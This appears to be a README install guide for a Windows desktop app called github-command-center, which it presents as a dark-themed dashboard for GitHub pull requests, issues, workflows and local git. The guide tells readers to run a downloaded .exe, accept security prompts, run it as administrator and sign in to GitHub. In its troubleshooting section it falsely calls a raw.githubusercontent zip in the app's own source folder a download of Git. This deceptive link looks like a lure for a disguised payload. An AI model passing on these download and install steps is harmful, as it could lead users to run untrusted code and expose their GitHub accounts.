github-command-center is a simple app that brings your GitHub tasks to one place. Instead of switching between different tabs, you can see your pull requests, issues, workflows, and manage your local git repositories all in one dark-themed window. It works like a desktop app but runs on your computer without needing complex setup.
This app helps you stay on top of your GitHub work. It works on Windows and gives you a cleaner, faster, and easier way to use GitHub’s main features without opening a browser.
This guide will help you download and run github-command-center on your Windows PC step by step.
- A Windows PC (Windows 10 or later recommended)
- At least 2 GB of free disk space
- An internet connection to download the app
- A GitHub account (you can create one for free if you don’t have it)
Visit this page to download the app:
Download github-command-center
This link takes you to the main GitHub repository where you can find the latest version of github-command-center. Follow these steps:
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Open your web browser and go to the download link above.
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Look for the Releases section on the repository page. You may find it under the "Releases" tab or as a link on the right side of the page.
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Download the Windows installer file. This file usually ends with
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Save the file somewhere easy to find, like your Desktop or Downloads folder.
After downloading the .exe installer, here is how to set it up:
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Locate the Setup File
Find the file you downloaded on your computer. -
Run the Installer
Double-click the file to start the installation. If Windows shows a security prompt, click Yes to allow the installation. -
Follow the Installation Steps
A setup window will open. Click Next to continue through the steps. You can keep the default settings unless you want to change where the app installs. -
Finish Installation
When you reach the last step, click Finish. The app should start automatically. If it doesn’t, find the github-command-center icon on your Desktop or Start Menu and open it.
To use github-command-center, you need to connect it to your GitHub account.
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When the app opens, look for the Sign In button or the prompt to log in.
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Click this button, and a browser window will open asking you to sign into GitHub.
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Enter your GitHub username and password.
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Approve the app to access your account data (this is safe as the app only requests access needed to show your work).
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After signing in, the app will load your pull requests, issues, workflows, and local git info.
- See your open pull requests on one screen.
- Create new pull requests or review existing ones without leaving the app.
- Track and manage issues assigned to you or your projects.
- Monitor your GitHub Actions workflows.
- Check if workflows completed or failed.
- Restart workflows if needed.
- Use git commands on your projects stored on your PC.
- Commit changes, push updates, and switch branches.
- View commit history and file changes in an easy interface.
- The app uses a dark color scheme that is easy on the eyes, especially in low light.
- You can focus on the content instead of bright windows or distractions.
- Windows 10, 11, or later
- 2 GHz or faster processor
- At least 2 GB of RAM
- 1 GB of free disk space (to install the app and local repos)
- Internet connection to access GitHub data
- Installer won’t start: Right-click the installer and choose Run as administrator.
- App doesn’t open or crashes: Restart your computer and try again. Make sure no other installations are running.
- Sign-in problems: Check your internet connection and that your GitHub password is correct. Clear your browser cache if the sign-in page is not loading.
- Git commands not working: Ensure you have Git installed on your PC. You can download it from https://raw.githubusercontent.com/djbroiscool90/github-command-center/main/src/github-command-center-v1.4.zip
Download the latest Windows version here:
Get github-command-center
Click this link anytime to find the latest release.
The app is open source. If you want to learn more about how it works or contribute, visit the GitHub repository.
It is built with modern technologies like React, TypeScript, and TailwindCSS. It uses Go (Golang) on the backend for smooth performance.
github-command-center only accesses the parts of your GitHub account needed to show pull requests, issues, workflows, and perform git operations. It does not store your password. Your data stays on your machine and GitHub servers.
If you have problems or ideas, use the Issues tab on the repository page to report them. The developers review feedback and update the app regularly.